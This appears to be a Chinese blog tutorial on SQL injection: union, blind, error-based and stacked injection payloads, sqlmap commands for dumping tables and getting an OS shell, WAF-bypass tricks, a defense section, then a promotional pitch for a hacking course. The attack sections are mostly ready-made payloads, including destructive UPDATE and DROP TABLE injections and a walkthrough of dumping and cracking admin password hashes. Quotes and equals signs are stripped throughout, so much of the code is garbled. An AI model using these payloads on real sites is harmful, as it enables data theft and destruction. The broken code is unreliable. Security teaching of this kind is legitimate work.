
一、什么是SQL注入SQL注入SQL Injection是指攻击者通过在Web表单、URL参数、Cookie等输入点构造恶意的SQL语句片段使后端数据库执行非预期的SQL命令从而实现数据窃取、篡改、删除甚至获取服务器权限的攻击手段。在OWASP Top 10安全威胁中SQL注入常年榜上有名是Web安全领域最经典、危害最大的漏洞类型之一。SQL注入的危害危害等级具体影响实例说明数据泄露绕过认证获取数据库全部数据拖库窃取用户表、密码、邮箱等权限绕过利用注入实现万能密码登录 OR 11 --绕过登录验证数据篡改修改/删除数据库中的记录UPDATE语句篡改管理员密码命令执行利用数据库特性执行系统命令MySQL的INTO OUTFILE写WebShell内网渗透利用数据库做跳板深入内网通过xp_cmdshell执行系统命令二、SQL注入原理详解正常的查询流程?php// 用户登录的SQL查询$id$_GET[id];$sqlSELECT * FROM users WHERE id $id;$resultmysqli_query($conn,$sql);?当用户正常访问http://example.com/news.php?id1时SQL语句为SELECT*FROMusersWHEREid1注入过程当攻击者访问http://example.com/news.php?id1 OR 11 --时SQL语句变为SELECT*FROMusersWHEREid1OR11--1闭合了前面的单引号OR 11使得WHERE条件恒为真返回所有用户数据--注释掉后面的SQL语句避免语法错误三、SQL注入分类SQL注入根据返回结果的不同主要分为以下几类1. 联合查询注入UNION Query Injection最常用的注入方式利用UNION关键字将攻击者的查询结果拼接到原始查询结果中。http://target.com/news.php?id1 UNION SELECT 1,2,3,4--手工注入流程-- 第一步判断注入点?id1 AND 11-- -- 页面正常 ?id1AND12-- -- 页面异常 → 存在注入-- 第二步判断列数ORDER BY逐步增加?id1 ORDER BY 1-- -- 正常 ?id1ORDERBY2-- -- 正常?id1 ORDER BY 3-- -- 正常 ?id1ORDERBY4-- -- 报错 → 有3列-- 第三步判断回显位?id1 UNION SELECT 1,2,3-- -- 第四步查询数据库信息 ?id1UNIONSELECT1,database(),version()---- 第五步查询表名?id1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()-- -- 第六步查询列名 ?id1UNIONSELECT1,GROUP_CONCAT(column_name),3FROMinformation_schema.columnsWHEREtable_nameusers---- 第七步查询数据?id1UNIONSELECT1,GROUP_CONCAT(username,0x3a,password),3FROMusers--2. 布尔盲注Boolean Blind Injection页面没有数据回显但会根据查询结果返回True/False两种不同状态。-- 判断数据库名长度 ?id1 AND LENGTH(database())8-- -- 逐字符爆破数据库名 ?id1 AND ASCII(SUBSTR(database(),1,1))115-- -- s ?id1 AND ASCII(SUBSTR(database(),2,1))101-- -- e -- 判断表名 ?id1 AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),1,1))117--3. 时间盲注Time-Based Blind Injection页面无回显且无布尔差异通过SLEEP()等函数根据响应时间判断结果。-- 判断是否存在时间盲注 ?id1 AND SLEEP(5)-- -- 响应延迟5秒 → 存在 -- 结合IF函数逐字符爆破 ?id1 AND IF(ASCII(SUBSTR(database(),1,1))115,SLEEP(5),0)--4. 报错注入Error-Based Injection利用数据库报错信息回显查询数据。-- extractvalue报错注入?id1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -- updatexml报错注入 ?id1ANDupdatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)---- floor报错注入?id1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -- double报错注入MySQL 5.1 ?id1AND(SELECT1FROM(SELECTcount(*),concat((SELECTuser()),0x3a,floor(rand(0)*2))xFROMinformation_schema.columnsGROUPBYx)a)--5. 堆叠注入Stacked Queries利用分号执行多条SQL语句取决于数据库驱动是否支持多语句执行。-- 查询数据 ?id1;SELECT * FROM users WHERE id2-- -- 修改数据 ?id1;UPDATE users SET passwordhacked WHERE usernameadmin-- -- 删除数据 ?id1;DROP TABLE users--四、SQLMap自动化注入SQLMap是最强大的SQL注入自动化工具支持多种数据库和注入类型。# 基础检测sqlmap-uhttp://target.com/news.php?id1# 获取数据库sqlmap-uhttp://target.com/news.php?id1--dbs# 获取表sqlmap-uhttp://target.com/news.php?id1-Dsecurity--tables# 获取列sqlmap-uhttp://target.com/news.php?id1-Dsecurity-Tusers--columns# 导出数据sqlmap-uhttp://target.com/news.php?id1-Dsecurity-Tusers-Cusername,password--dump# POST请求注入sqlmap-uhttp://target.com/login.php--datausernameadminpassword123--batch# Cookie注入sqlmap-uhttp://target.com/news.php?id1--cookieid1*--level2# 请求头注入sqlmap-uhttp://target.com/--headersX-Forwarded-For:1*--level5# 使用Tamper脚本绕过WAFsqlmap-uhttp://target.com/news.php?id1--tamperspace2comment.py# 多个Tamper组合sqlmap-uhttp://target.com/news.php?id1--tamperspace2comment,between,randomcase# --os-shell获取系统Shellsqlmap-uhttp://target.com/news.php?id1--os-shell# --sql-shell执行自定义SQLsqlmap-uhttp://target.com/news.php?id1--sql-shell五、WAF绕过技巧在实际渗透中目标网站通常会部署WAFWeb Application Firewall以下介绍常见的绕过方法1. 大小写绕过UniOnSeLeCt1,2,3--UnIoNAlLSeLeCt1,2,3--2. 双写绕过UNUNIONION SELSELECTECT1,2,3--3. 注释绕过UN/**/ION/**/SE/**/LECT1,2,3---- 内联注释MySQL特有id1/*!UNION*//*!SELECT*/1,2,3---- 条件注释id1/*!50000UNION*//*!50000SELECT*/1,2,3--4. 编码绕过-- URL双重编码 %2553%2554 - ST %2555%254e - UN -- 十六进制编码 0x7365637572697479 - security -- Hex编码绕过关键字过滤 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_name0x7573657273--5. 空格绕过-- 使用注释替代空格UNION/**/SELECT/**/1,2,3---- 使用括号UNION(SELECT(1),(2),(3))---- 使用%0a换行、%0b、%0c、%0d等空白字符UNION%0aSELECT%0a1,2,3---- 使用反引号MySQLUNIONSELECT1,2,3--6. 等价函数绕过-- 替换函数SUBSTR()→MID(),SUBSTRING(),LEFT(),RIGHT()ASCII()→ ORD()CONCAT()→ CONCAT_WS(),GROUP_CONCAT()SLEEP()→ BENCHMARK()六、不同数据库的注入差异特性MySQLMSSQLOraclePostgreSQL注释符#, – , /**/–, /**/–, /**/–, /**/版本查询version()versionSELECT banner FROM v$versionversion()当前数据库database()db_name()SELECT name FROM v$databasecurrent_database()当前用户user()system_userSELECT user FROM dualcurrent_user列限制UNION列数需匹配同MySQL同MySQL同MySQL系统库information_schemamaster…sysdatabasesall_tablesinformation_schema命令执行需secure_file_privxp_cmdshell需Java存储过程COPY FROM PROGRAM七、SQL注入防御方案1. 预编译/参数化查询最有效?php// PHP PDO 参数化查询$stmt$pdo-prepare(SELECT * FROM users WHERE id :id);$stmt-bindParam(:id,$id,PDO::PARAM_INT);$stmt-execute();$result$stmt-fetchAll();?// Java JDBC 参数化查询StringsqlSELECT * FROM users WHERE id ?;PreparedStatementpstmtconn.prepareStatement(sql);pstmt.setInt(1,id);ResultSetrspstmt.executeQuery();# Python 参数化查询cursor.execute(SELECT * FROM users WHERE id %s,(id,))2. 输入过滤与验证?php// 使用intval强制转换为整数$idintval($_GET[id]);// 字符串过滤不推荐作为唯一手段$stringpreg_replace(/[^a-zA-Z0-9_]/,,$string);// 使用白名单验证if(!preg_match(/^[a-f0-9]{32}$/,$hash)){die(非法输入);}?3. 使用ORM框架# SQLAlchemy ORMfromsqlalchemyimportcreate_engine,text enginecreate_engine(mysql://user:passlocalhost/db)withengine.connect()asconn:# 安全的参数化查询resultconn.execute(text(SELECT * FROM users WHERE id :id),{id:id})4. 最小权限原则-- 数据库用户权限最小化CREATEUSERwebapplocalhostIDENTIFIEDBYpassword;GRANTSELECT,INSERT,UPDATEONmydb.*TOwebapplocalhost;-- 不授予DROP, ALTER, FILE等危险权限REVOKEFILEON*.*FROMwebapplocalhost;5. WAF防护# Nginx ModSecurity WAF规则示例 SecRule ARGS (?i)(union.*select.*from|select.*from.*information_schema|load_file|into.*outfile) \ id:1001,phase:2,deny,status:403,msg:SQL Injection Attempt八、实战案例案例一某企业官网SQL注入# 1. 发现注入点# URL: http://www.example.com/product.php?id100# 2. 手工判断http://www.example.com/product.php?id100# 报错http://www.example.com/product.php?id100AND11# 正常http://www.example.com/product.php?id100AND12# 异常# 3. SQLMap自动化sqlmap-uhttp://www.example.com/product.php?id100--batch--dbs# 获取到数据库名webapp_db# 4. 获取表名sqlmap-uhttp://www.example.com/product.php?id100-Dwebapp_db--tables# 获取到表admin, products, users# 5. 导出管理员账号密码sqlmap-uhttp://www.example.com/product.php?id100-Dwebapp_db-Tadmin--dump# 获取到管理员账号和MD5加密的密码哈希# 6. MD5破解# 使用CMD5或hashcat破解hashcat-m0-a0hash.txt rockyou.txt案例二万能密码登录绕过# 目标登录页面http://target.com/admin/login.php # 用户名输入框输入 admin OR 11-- # 密码输入框输入 任意字符 # 实际执行的SQL SELECT * FROM admin WHERE usernameadmin OR 11-- AND passwordxxx # WHERE条件恒为真直接登录成功总结SQL注入是Web安全中最核心的漏洞类型掌握SQL注入的攻防技术是每个安全从业者的必备技能。本文从注入原理、分类、手工注入、自动化工具、WAF绕过到防御方案进行了系统讲解建议结合DVWA、SQLi-Labs等靶场进行实战练习。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源————————————————